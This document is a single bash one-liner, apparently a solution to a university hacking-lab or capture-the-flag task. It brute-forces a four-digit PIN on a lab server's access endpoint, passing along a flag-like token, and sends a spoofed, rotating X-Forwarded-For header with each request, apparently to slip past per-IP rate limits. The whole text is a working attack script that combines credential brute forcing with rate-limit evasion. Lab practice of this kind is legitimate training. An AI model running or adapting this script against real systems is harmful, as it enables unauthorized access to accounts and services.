cnt=0; while [[ true ]]; do ((cnt++)); padded=$(printf "%04d" "$cnt"); curl -v -H "X-Forwarded-For: 203.0.113.$cnt" "https://vault1.web1.stud12.hacklab.ias.tu-bs.de/access?token=hacklab%7Bd4rk_s1d3_h4z_b3st_c00k13s_ZW5z9abp%7D&pin=$padded" -o result$cnt; done
